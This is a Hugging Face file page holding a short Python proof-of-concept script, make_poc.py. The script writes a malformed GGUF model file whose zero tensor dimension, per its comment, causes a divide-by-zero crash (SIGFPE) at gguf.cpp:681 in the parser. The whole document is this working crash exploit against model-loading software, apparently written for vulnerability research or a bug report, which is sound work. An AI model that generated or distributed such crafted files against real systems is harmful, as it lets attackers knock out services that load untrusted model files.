wulonchia's picture
Upload make_poc.py with huggingface_hub
0028206 verified
Raw
History Blame Contribute Delete
761 Bytes
import struct
def gguf_str(s):
b=s.encode()
return struct.pack("<Q",len(b))+b
buf=b""
buf+=b"GGUF" # magic
buf+=struct.pack("<I",3) # version 3
buf+=struct.pack("<q",1) # n_tensors = 1
buf+=struct.pack("<q",0) # n_kv = 0
# tensor info
buf+=gguf_str("x") # tensor name
buf+=struct.pack("<I",2) # n_dims = 2
buf+=struct.pack("<q",1) # ne[0] = 1
buf+=struct.pack("<q",0) # ne[1] = 0 -> INT64_MAX/0 SIGFPE at gguf.cpp:681
buf+=struct.pack("<i",0) # type = GGML_TYPE_F32 (not reached)
buf+=struct.pack("<Q",0) # offset (not reached)
open("poc_divzero.gguf","wb").write(buf)
print("wrote poc_divzero.gguf",len(buf),"bytes")
print("hexdump:")
print(buf.hex())